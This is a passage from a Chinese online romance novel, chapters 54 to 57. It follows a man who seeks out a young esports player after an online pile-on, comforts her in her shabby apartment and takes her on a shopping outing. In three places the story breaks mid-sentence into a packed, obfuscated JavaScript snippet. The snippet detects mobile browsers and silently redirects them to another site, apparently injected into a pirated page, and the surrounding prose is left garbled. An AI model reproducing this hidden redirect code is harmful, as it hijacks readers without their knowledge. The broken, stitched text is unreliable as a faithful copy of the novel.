周微刚在ins上和男友甜蜜调情完，咬着指甲一抬头，正对上李君诚流着泪的猩红眼睛，脑子一懵“怎么了？”她看着屏幕上的冷光打在他惨白脸上，恶鬼一样，“……什么情况啊，你别吓我。你要干嘛？” 李君诚的眼泪决堤，用她从未见过的痛苦和茫然，一遍又一遍的问：“为什么？为什么要那么对她？……为什么啊？！”他并不需要她的回答，突然起身往卫生间去，响起了哗啦啦的流水声。几秒钟后，简单洗过脸的他走了出来，拿了卡包和一个小行李箱就要走，“东西你帮我收一下，我临时有事。” 虽然不知道发生了什么，但对于从小一起长大的朋友还是很了解的。周微太知道他的脾气了，这被惯坏的少爷从小到大惹过的事情不少，在学校隔三差五打架。这次她更是蜘蛛感应附体，那种汗毛倒数的感觉让她不得不阻拦：“我草，你别、你什么情况你跟我说清楚！不让我打电话喊你哥嫂了！！” “你别担心，我知道现在是法治社会。”李君诚的语气有种诡异的平静，“我只是想请我的好朋友去泰国玩。” “大哥！！！！你疯了！！！！不是，等一下，你先冷静。就跟那个女孩子有关系？那、那你先想想她行不，你去惩恶扬善了，人姑娘怎么办？是吧？你就算不为自己考虑，你总得想她，行吗？？” 他的女孩。 他的女孩。 李君诚的眼泪再次滚滚落下，握紧的拳头终于僵硬地放开：“你说得对，我要先去看她。” 55. 第 55 章 很多年轻人喜欢用头像或者动态表达即时的心情，比如伤心的时候会分享EMO的歌，再把朋友圈背景和头像全都换成黑色，用无声的方式向全世界宣告自己的低沉失落，不仅会显得太大张旗鼓，还能精准的得到真正在乎自己的人关心。曾经汤瑶也做过这样的事情，李君诚也每次都咬钩，就算是没有营养的废话或者互发表情包，但两人都乐此不疲。 但是这次没有。 关于汤瑶的一切好像都被按下了暂停键，头像、朋友圈背景没有改，三个月可见的朋友圈上一条还是十八岁生日时和好朋友看得烟花和九宫格，微博里最新的转发也是战队发布的成绩，一切看起来如此简单真实的美好。但几乎每次刷新，关于她的动态底下都会多几条正义使者的仗义执言。她的粉丝群解散了，CEE战队被冲到热搜前几，热心的网友们为了审判一个道德并不完美的女孩儿写着大片大片的诉状，艾特官方，艾特所有能想到的有影响里的人，誓要为民除害，抹消、抹杀掉这个破坏行业风气、影响女性正面形象的‘毒虫’。 不是李君诚想要去了解这个世界对她究竟多么刻薄，而是这些恶毒如同瘟疫，在共同圈子里疯狂蔓延，无孔不入。他耗尽了巨大的自制力，一遍一遍逼着自己，在联系到汤瑶本人之前绝不能做出任何失控的举动。 他一遍又一遍给她的微信发消息，但不论留言还是电话都石沉大海。他联系可信的朋友直接去CEE的青训基地打听，去了之后才知道，才事情发酵的第三天，管理层就因为承受不了私信里铺天盖地的要求主持‘公道’的威胁，直接给她放了长假，并且让她搬离了基地。 唯一的好消息是，经理说汤瑶主动发过报平安的消息，应该已经找到地方安顿下来了。他还语气轻松地补充，小姑娘其实没受什么影响，吵架的时候声音也很大，而且后面冷静下来，还知道主动道歉，俱乐部也是仁至义尽地照顾了她。 最后，李君诚几乎是掘地三尺，硬是靠着翻汤瑶设置了关注隐私的短视频小号里的点赞和评论，像个侦探般一条一条筛选，终于找到了她平时提起的好朋友元宝。因为陌生人只能发一条私信，他几乎是倾注了所有的不安和恳求，打了一篇超级长的小作文过去。又是煎熬如同凌迟的十几小时过去，终于收到了对面发来的联系方式。 和他想象的差不多，甚至更糟糕。 元宝说出事之后她就非常不好，虽然每天都为了不让她担心发消息，但……肯定是不一样的。汤瑶什么也不肯说，甚至拒绝安慰，可越是这样越是让人担心。正常情况下，元宝绝不是为了所谓的撮合姻缘就轻易出卖朋友的人，但是情况特殊，她实在相信不了汤瑶敷衍的报平安，对她的精神状况和生活环境都很怀疑，所以考虑之后还是把汤瑶的地址告诉了李君诚。 汤瑶没有离开S市，告诉元宝的地址是一个和基地在同一个区的青年公寓，在某点评上看平均月租只要两千出头，对于这个寸土寸金的城市在实在不算高。也难怪元宝担心，李君诚过去的时候，还没推开门就看到大厅里有三五个男男女女抽烟聊天，说着天南海北的方言，不时夹杂着爆音的脏话和推搡。前台也在低着头玩手机，对于来往的人全不在乎。 他上前去报了房间号，结果被前台疑惑得瞪了一眼：“这里是公寓，又不是酒店，你要找人自己去敲门啊。” 李君诚本来还想解释一下，结果对方手机里的游戏已经进入BP环节了，所以叹了口气。算了。 他只好直接去，一层12户，但只有两台正常运行的电梯。他等了差不多五分钟，才等到屏幕上的16变成1，然后又是下来一大群人。电梯厅略显拥挤，空气里有轻微汗味和多种混杂的香水味。好不容易来到对应的楼层，发现走廊还算干净，死了的心稍微活过来一点儿。看着门牌一个个找，最后站在了对应的数字下。 李君诚摘了墨镜，贴着门整理了半天心情，才开始敲门。 他本来还很担心她在里面打游戏听不见，或者其实人根本不在这里，所以一边敲一边翻着手机想PLAN B。结果很快听到‘滴——’的一声，密码锁短暂地闪了一下，门就被打开了。从窄窄的门缝中探出一张有些苍白的脸，身子抵在门后，一只手用力抠着门，语气却不是特别惊讶：“干嘛？” 她穿了一件到膝盖的纯棉T恤，头发被鲨鱼夹简单地盘在了脑袋上，脸小了，也很憔悴。 “就……看看你。”李君诚已经控制不住的眼眶发热了，红着眼睛盯着她。 “嗯，元宝跟我说过了。”语速平稳，甚至带着一点刻意维持的寻常，眼神却微微低垂避开了他的直视。“那你看到了，我真没事吧？” 她收回手，身子往后退，想趁着他不注意关门，结果错误的预估了彼此的反应——“砰——”一声就撞到了挡过来的那只手上。 李君诚控制再控制，还是痛得叫了一声，扭曲着蹲了下去，被夹的那只手更是像失去了和大脑的连接，鸡爪一样扭曲地不住颤抖。 突然的意外让汤瑶有点慌了“啊，我不是故意的……呃，呃，你有病啊你把手伸过来……”门里的她神色明显慌乱起来，语速变快，唇色都有些发白，短暂的僵持后，还是侧身拉开了门，动作带着急促，“你进来吧，我给你拿个冰袋敷一下。” 李君诚跟着进去，窄窄的通道柜台上放着饮水机和电磁炉，还有一个非常迷你的水槽，疑似开放式厨房，但这个一转身就面对着右手边厕所门的地方，真的是能烹饪食物的操作台吗？还好那些本来应该放调料的地方都是空着的，靠近里面的台面上放着一打可乐，可乐上又有一杯奶茶。 一扇磨砂的玻璃移门潦草地分割开紧凑的厨卫空间，紧贴着操作台的玻璃另一面就是冰箱。移门后，整个空间的核心一览无余：正中央就是一张床，几乎占据了大部分地面。靠近门的地方勉强塞着一个非常简易的单人沙发和廉价感十足的仿宜家小茶几。最里面就是电脑桌，紧挨着设计诡异、尺寸逼仄的定制柜子，桌面窄得可怜，鼠标垫都有一部分滑落了。 而且，很乱。沙发边上是个歪着倒下的行李箱，里面还有一些被扯出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326061|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又没收拾的衣服。茶几上是摞起来的各种外卖，垃圾桶倒是空空如也。靠近电脑的桌面上也乱七八糟地堆着很多化妆品也可能是护肤品的杂物，然而在亚力克的收纳里，很显眼地插了好几双一次性筷子。 汤瑶蹲下来，在冷冻的底层拿出来两个明显是商家放在外卖用来保冷的冰袋递过去，因为知道惨不忍睹的居住环境被看得清清楚楚，所以脸红得厉害，胡乱地往他手里一塞：“你抓着捏会儿就行了。”然后飞快地虚掩的卫生间关上。也不好让他门神一样站着，很难为情地让开，“坐。” “我…我要换鞋吧。”李君诚站在玻璃移门边缘摆着的那块小地毯前，也很局促。 汤瑶有些茫然地挠挠头，在房间里环顾一圈，目光扫过床底，忽然想起了什么，俯身从床底下拖出一个拆过的快递包裹，从里面翻腾出一双全新的黑色拖鞋：“正好买错了，我懒得退。你凑合…挤挤穿吧。” 语气带着点破罐子破摔的随意。 她把拖鞋往他脚边一丢，顺势像要掩盖什么似的，飞快地把茶几上那堆碍眼的包装袋七手八脚地摞起来，找了个最大的袋子，一股脑全塞了进去，笨拙地打了个死结，“咚”地一声扔进了终于派上用场的垃圾桶。又扯过几张纸巾，胡乱擦了下乱七八糟的的茶几，再象征性地擦擦手，一屁股坐回床上。 然后一把将床上那团凌乱的被子掀起来，草草盖住了下面更杂乱的东西。做完这一切，她才仿佛耗尽了力气般安静下来，双手夹在并拢的□□，身体微微前倾，像个做错事等待发落的孩子，手指藏在小腿后面，不安地、反复地搓捻着。 李君诚也不知道说什么，掌心升起的温度很快就融化了冰袋，有水不断地流。彼此沉默了一会，他开口了：“嗯，你吃了没？” “我不饿。” 她也顿了会儿才回答，声音轻飘飘的。这个客厅卧室混在一起的狭隘空间悬着一盏暖光灯，试图营造温暖却徒劳无功，只把她没有血色的脸映照出一种虚假的、病态的暖意。“你还疼不疼了。” 她终于抬起眼看他，眼神里带着一丝残留的慌乱和不易察觉的关心。 毕竟汤瑶也不是故意的，而且当时门就只掀开那么点儿大，也就那一下痛得厉害，现在除了冰袋带来的麻木和湿冷，确实没什么感觉了。他却不敢放下冰袋，仿佛那是他赖在这里的唯一理由，所以还是刻意地拧着眉头，声音闷闷地：“还好，好点了。” 汤瑶尴尬地像只被煮熟的虾，耸着肩膀，并拢的双手从两腿间不断地往下够，几乎把身体折成了一团：“我知道你俩很关心我，但是我真没什么事。”她想想了，像犯罪嫌疑人一样开始交代这些天的经过，“我虽然跟CEE签的合同，但是经纪人和LADY SHIVA是同一个，是大公司那边的专业人士，还很懂法律。人家姐姐跟我说了，俱乐部这样对我是有违合同的，如果我想要争取权益，她那边给我法律援助。不过我想要的不是钱，只要不影响我后面试训就行了。所以……真的没必要这么，呃，对我这么不放心，起码也要等两个月后我没人要再担心我比较好。” 56. 第 56 章 房间里开着适当的暖气，冰块很快就起不到降温的作用了。 其实汤瑶不化妆的时候更好看，这绝不是看不起她的化妆技术，只是她追求的美丽总是出于自卑，其实她的白皮肤大眼睛，不加任何修饰都很自然可爱。但不应该是现在这样，无精打采的耷拉着，那双永远闪着光芒的眼睛黯淡而憔悴，虽然努力得想要表现出坚强，可这样的强撑更让人心碎。 她不肯说自己的苦与痛，甚至连一滴眼泪也不肯流。 越是这样，李君诚就越控制不了情绪，他想说点什么配合她，结果刚张嘴，就尝到自己很咸的眼泪。 “……我天。”汤瑶瞳孔地震，赶忙抽了几张纸递过去，“真有那么痛吗？要不然还是去医院吧？你开车来的还是打车来的，我帮你叫车？” 她正手足无措的团团乱转，呆在房间里的日子几乎分不清白天和黑夜，记性也不是很好，刚刚还用手机看过时间，这下又想不起来了。突然，一只手被拉住，她一下子跌坐在沙发里，紧接着就被紧紧地抱住了。 “李！你……”汤瑶原本很惊讶，甚至有一瞬间的羞恼。 她想立刻挣脱开，控诉他是个乘人之危的流氓，再把这些桌面上乱七八糟的东西都砸到他身上赶他走，这样就再也不会有人来打扰自己了。 可这样的念念只是转身即逝，因为她是第一次被这样认真地拥抱。 紧绷的、戒备的身体在灼热的心跳中被融化，她很安静地靠在他的怀里，然后闭着眼，很用力地忍住快汹涌而来的情绪。她搜肠刮肚去想美好的事情，突然，那时的那个梦重又在脑海中浮现了。 她轻轻地把手环在他的背后，侧着脸，脑袋贴在他胸膛附近，很委屈的说：“那一天你到底为什么不抱我？” “那一天？”李君诚哽在喉咙里的很多话被这个问题打断，想了一会儿，“……喔，那天。” 他知道她问的是年初他去找她的那天。去了一家装修非常奇怪的海鲜自助餐厅，结果所有‘三文鱼’都是虹鳟鱼在cosplay。顾客很多，而且普遍个子都不高，他一直都被各种探究的眼神看着，中途打车回网吧还被人拦住想要联系方式。虽然不那么好，但是也没那么坏，对他来说一切都很新奇。 而且那天她穿了一件很漂亮的，像芋泥一样的紫色针织衫，胸口还有个镂空的爱心，那块很白的皮肤在公园里的白炽灯下几乎亮得发青。妆也很漂亮，像个可爱的娃娃。她就那边拎着一袋毛茸茸的娃娃，用眼巴巴的眼神看着自己。 实话实说的话，想得绝对不仅仅是拥抱。 “我觉得那样不好。”他说，“我专门来找你，还送了你礼物，那天晚上天气很好，月亮也很好，所以我觉得你不会拒绝我……可就是这样才不好吧？你不一定真的对我有我对你一样的感觉，只是那天很合适，所以你不会拒绝我。但是我想给你选择，我想在你能拒绝我的时候再告诉我答案。” “……听不懂！”汤瑶觉得他叽叽歪歪，暧昧也好恋爱也罢，反正就是两个无聊的人在一起打发时间，要那么郑重干什么？就算是结婚也会离婚。她根本就不在乎承诺，她只想要在寂寞的时候被满足。 比如现在。 “我也很后悔。”如果自己不突然脑子一热去找她，不论怎么也能让关于她的攻击少一些。只是这样的话他说不口，他不想再提网上的事情，“……不过都已经这样了。”他顿了顿，突然打量起这个房间，“我帮你换个地方吧，现在你不在基地，全靠自觉训练，这里……不太好。” “这里好的很！”汤瑶用提高的音量言辞拒绝了他，“你根本不懂！这是我用自己挣的钱租下的地方，我才不要换。再说了，反正也就打游戏睡觉，没什么好搬的。” 李君诚不好跟她拗，果断放弃了，然后又提出了新建议：“那我叫人来帮你打扫一下，添点东西，最起码给你换张大点的桌子。行吗？” 结果她一下子把他推开了，脸以肉眼可见的速度升温：“你觉得我邋遢你走呗，我又没让你进来！” “没、没有，我没有嫌弃你的意思。我不……唉，我不走，我就不走！！”李君诚当然不可能被个女孩子拉动，就算是个有牛劲的也不行，“你听我说，汤汤、汤汤你听……” “我不听，你滚你赶紧滚！你不是说让我有选择吗？我现在的选择就是让你滚！滚！滚！！！” 李君诚也是没办法了，用力抓住她的手，再次把她箍住了：“汤汤，我真的没有恶意，我和元宝都很担心你，就算你不在乎我，总要在乎一下你的好朋友吧。其实她也为了你哭了好几次，只是她也不敢告诉你，她一直都因为帮不了你很伤心，不然她也不会跟我联系。所以你相信我，好不好？” 汤瑶总算安静下来，她总是很别扭，她其实很想他抱得更紧一点，可是她说不出口，还再一次把他推开了：“不要再有人来，我真的不想看见陌生人。” 他应该早就有了PLAN C，于是又说：“那就我来，我帮你收拾，你想干什么就干什么，我来办可以吗？” “随便你吧。”反正进来的时候都看得差不多了，汤瑶很破罐破摔的往床上一趴，直接把自己卷进了被子里。两秒钟后伸出一只手，“我手机可能在门口也可能在电脑边上，帮我找一下，谢谢。” 汤瑶躲在被窝里，没有心情玩手机，自从网上舆论爆炸之后，她就不敢刷那些东西了，大数据是很恐怖的。她竖着耳朵听外面的动静，猜这个声音是在打开柜子还是拉开抽屉，后来不知道怎么了，变得迷迷糊糊，就记得被问了一下门锁密码，她说了，但不知道对方听清楚没，就睡了过去。 迷迷糊糊睡了不知道多久，她在一片漆黑中醒来。 看了下手机，已经是半夜十一点了。 自己这段时间还真没有一口气睡这么久过，她摸到床头的按钮开灯，被突然的光刺了下眼睛，恍恍惚惚眯着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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碍于李君诚过于期待眼神，她还是拆开了餐具，深吸一口气，对他挤出一个笑：“谢谢你咯。”说着把刺身拼盘往两人中间推了推，“我吃完了你……走吗？” “我走吧。”李君诚这样说，“但是……我可以明天还来吗？” 汤瑶食不知味的咀嚼着，唔了一声，然后又夸张的挑起眉毛：“你干嘛啊？我这会儿打游戏到明天就又要睡觉了，我这里很小啊，除了我没有什么可以玩的了。” 李君诚好像没懂她的试探，只是拢起眉头，用很可怜巴巴的眼神看着她：“我们可以出去啊，你想去哪里都行。” 汤瑶总算明白了，他就是怕自己把自己阴暗死，一定要想方设法让自己出去晒晒太阳。本来这个世界上就没几个关心自己的人，现在这唯二还站在了一边，她实在不敢把他们推太远，只好妥协了：“行，我知道了。那就……明天见？” 57. 第 57 章 什么是幸福呢？对于汤瑶这种女孩来说，其实很简单。一个好天气，一次畅快的胜利，一点点生活中的爱意，都是她回忆里弥足珍贵，只要回想起来就会觉得温暖的宝物。她对于恋爱的理解也很简单，就是两个人呆在一起，在狭小的、凌乱的、拥挤的房间里看无聊的综艺，吃不好吃的外卖，也许还会拥抱，也可能还会流泪，总之不考虑明天，也不去规划以后，只是在阴暗的废墟里相互依偎就好了。 她已经不太能分辨自己的感情了，但她真的非常需要一个被自己推开之后还愿意回来的人。谁都可以，但是李君诚更好。 汤瑶没有化妆也没有做什么准备，睡了醒醒了睡得度过断断续续的一夜，甚至还是李君诚来了才叫醒的她。在这个没有任何隐私可言的青年公寓里，她是拿着衣服去卫生间换的。不是裙子也没有精心挑选的配饰，就是一套宽松、没有任何修饰，看起来能让120多斤变成140多斤的卫衣套装，头发也是用鲨鱼夹拢在了脑袋后面。 她有点忐忑，带着清水洗过的脸从门边探出脸，观察李君诚的表情。看到他对自己摆烂没有任何意见，只是笑眯眯的摇起车钥匙：“走吧。”他顿了顿，“我们这次算是约会吗？” 汤瑶别别扭扭地走出来，又开始很不安地拨头发：“不算吧。”她习惯性地把卫衣围着腰往身后攥着收了收，这样可以显出她不到半个月怒瘦八斤出来的腰，“就…随便逛逛就行了呗。”对她来说，没有精心准备的出行，不应该被记录。 “那好吧。”李君诚也没有争取，站了起来，看起来非常迫不及待，“走吧走吧。” 汤瑶慢吞吞从柜子里换上鞋，进门的那块空间很窄，两个人甚至不能并肩，李君诚一直靠在门边，一只手搭着门锁，一只手取出了口袋的墨镜，正来回晃着。她却有点不舍得，蹬了蹬鞋子之后站着不动：“欸。你…再抱抱我？” 李君诚愣了下，墨镜被随手放到橱柜上，但没有立刻靠近：“可是，不是说不是约会吗？” “你是不是有毛病！”汤瑶简直对他忍无可忍，“我只是想被抱一下！你为什么！总是！总是！想那么多！我就是我就是……！” 眼看着她又要爆炸，李君诚赶紧过去抱她：“好好，对不起，我再也不问了。”他比她一个头，很轻松就能把她紧紧拥到怀里，“你说什么就是什么，不论你提什么要求我都会办。好不好？不要生气了汤汤宝宝。” 汤瑶觉得自己一定有躁狂症，她控制不了自己，虽然内心满足，但还是挣扎了好一会儿才停下。她仰起脸看着他，冷不丁的提出新要求：“那你再亲我一下。” 李君诚惊讶得‘啊’了声，看她又要垮下脸，连忙俯身在她脸颊亲了亲，自己也红了脸。 汤瑶不太满意，但实在不好意思再提，低下头不再说话。 外面的天色很刺眼，阳光带来的温度和干燥的中央空调吹风完全不同，晒得人懒洋洋的。她把卫衣帽子扣在脑袋上，正要低着头走路，一只手很自然地伸到自己面前，抓住了还没来得及踹进口袋的手。 李君诚的手很好看，这大概是竞男们的统一优点，就算是脸再抱歉，只要镜头对焦在手上，除了那些体重常年超标的之外，百分之九十九都出过赏心悦目。所以他也不厉害，纤长而骨感，手掌很柔软，但手背又有很明显的筋络。 他的车就停在公寓的停车位里，一辆线条硬朗、气势迫人的黑色大车，甚至两人过去的时候还有人在围观，一直到他走近解锁，那些人才有些不甘心的一拥而散。那些目光先是带着好奇和探究扫了一眼李君诚，然后很快落到了几乎可以用不修边幅形容的汤瑶身上。那些视线像细密的针，也许只是无心探究，也许真没有恶意，可还是让她本能得感到不适，下意识地想把被他握着的手抽回来，却被他更紧地握住。 又是一辆她没见过的车，不过不知道为什么，总觉得车头的翅膀标致很熟悉。她本来想去后座，但是李君诚帮她开了副驾的门，也只好上去：“这又是什么车？” “这回真是我的车了。”他在基地的时候基本都开别人的车，要么就是机车，昨天专门回了S市的房子一趟把这辆提出来，“库里南啊，你之前不是还转发过嘛。”他语气带点献宝似的轻松。 “啊，有吗？我都不记得了。”汤瑶迷迷糊糊，“库里南的车标长这样，好眼熟。” 李君诚笑了一下：“库里南是劳斯莱斯的SUV车型，这个标是劳斯莱斯。” “哦……！难怪，难怪我说这个见过来着。”汤瑶对车完全没有研究，只不过是经常听到男生把这个车牌挂在嘴边，不知道在哪儿刷过可能，具体不知道，只模模糊糊知道很贵很贵就是了，“嗯嗯，好吧。厉害了。” 她像是被强行拉出棺材的吸血鬼，整个人被阳光晒得兴致缺缺。 原本想玩会儿手机，但是光线太强烈，晒得手机发烫屏幕也看不清楚，翻了一下也不感兴趣，就又关上了。她叹了口气，声音带着点被阳光晒蔫了的懒散，随便找个话题：“我们要去干什么？” 李君诚却反问：“你喜欢花吗？” 有点老土…… 但汤瑶还是本能得期待的睁开了眼睛：“嗯？你买了？鲜花？” 结果他单手把着方向盘，从口袋里的卡包里精准地摸出了一张金卡，食指和中指夹着，在阳光的照耀下折射出炫目的光彩：“都可以，我们去随便花。” “……” 更老土了。 还以为有钱人刷到的网络热梗能有深度一点呢。 汤瑶忍不住翻了个小小的白眼，撇撇嘴，尝试着开口：“想买什么都可以吗？”再次得到了肯定后，她想了想说，“那我想要一束真的花，我们去花店，我都从来没有收到过花。然后我们去逛超市，就是……山姆？还有那个什么来着……反正就是那种超大型超市，买很多吃的喝的，再买一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实她分不出多几个零的衣服穿起来和自己几十包邮的有什么不同，也不感觉那些大牌的剪裁多么合适自己这种根本称不上身材的体型。但是也没有什么不好，虽然她不能从实物里体会价值，但能感受到每个人对自己的温柔友善，每个SA都体贴入微，而且会端过来香槟和味道还不错的可口小甜点。 汤瑶开始听到李君诚刷卡还在在心里算如果按照自己的时薪得挣多久才还得起，然后惊觉也许要从战国开始打工还远远不够就变得麻木坦然起来。总之林林总总买了很多东西，分了两趟才放回车里，然后才去宝格丽酒店吃了晚餐顺便做SPA，最后迷迷糊糊睡着了。 印象里拉着李君诚一起躺下去了，结果第二天一睁眼，还是自己一个人。 陌生的酒店，高大空旷的房间，极简奢华的装潢此刻透着冰冷的距离感。她有些慌张，本能得下床有点慌乱的找寻，她赤脚踩在厚实而柔软的地毯上，索性还没走两步，就看到在客厅那张巨大的沙发上蜷着的一大只人。 李君诚高高大大的身体窝在沙发里显得有些委屈，一条薄毯随意搭在腰间，呼吸均匀。晨曦透过巨大的落地窗，在他沉睡的侧脸上投下一道柔和的金边。